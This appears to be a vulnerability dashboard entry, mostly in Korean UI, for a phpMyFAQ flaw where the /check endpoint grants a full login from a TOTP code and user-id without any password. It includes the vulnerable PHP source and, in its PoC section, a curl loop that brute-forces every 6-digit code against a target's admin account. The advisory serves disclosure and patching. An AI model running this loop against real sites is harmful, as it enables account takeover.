Kestrel
대시보드로 돌아가기
CVE-2026-56737HIGH· 8.1MITRENVDGHSA대응게시일: 2026. 09. 24.수정일: 2026. 09. 24.

phpMyFAQ's two-factor authentication login bypasses the password factor

Auth

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.1high

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.1HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

Summary

The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details

src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

bash
1#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
2public function check(Request $request): RedirectResponse
3{
4 if ($this->currentUser->isLoggedIn()) {
5 return new RedirectResponse(url: './');
6 }
7
8 $token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
9 $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
10
11 if ($userId <= 0) { /* ... */ }
12
13 $this->currentUserService->getUserById($userId); // loads attacker-chosen user
14
15 if (strlen((string) $token) === 6) {
16 $result = $this->twoFactor->validateToken($token, $userId);
17 if ($result) {
18 $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
19 return new RedirectResponse(url: './');
20 }
21 }
22 // ...
23}

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

bash
1public function twoFactorSuccess(): bool
2{
3 $this->setLoggedIn(true);
4 $this->updateSessionId(true);
5 $this->saveToSession();
6 $this->setSuccess(true);
7 return true;
8}

There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend
omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account
:

bash
1public function validateToken(string $token, int $userId): bool
2{
3 if (strlen($token) !== 6 || $userId <= 0) { return false; }
4 $this->currentUser->getUserById($userId);
5 $secret = $this->currentUser->getUserData('secret');
6 if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
7 return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
8}

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.

PoC

Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).

bash
1# No password required. Submit user-id + a 6-digit TOTP guess to /check.
2# Iterate the token space; the session cookie returned on success is an authenticated session.
3for code in $(seq -w 0 999999); do
4 curl -ks -c jar.txt -b jar.txt \
5 -X POST "https://target/check" \
6 --data-urlencode "user-id=1" \
7 --data-urlencode "token=$(printf '%06d' 10#$code)" \
8 -o /dev/null -w "%{http_code} %{redirect_url}\n" \
9 | grep -q './' && echo "[+] logged in with token $code" && break
10done
11# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).

If the attacker already controls or has phished the victim's TOTP device, a single request authenticates
with no password at all.

Impact

Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password —
the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout,
this enables full account takeover of users and administrators. Impacted: any deployment where users
enable two-factor authentication.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.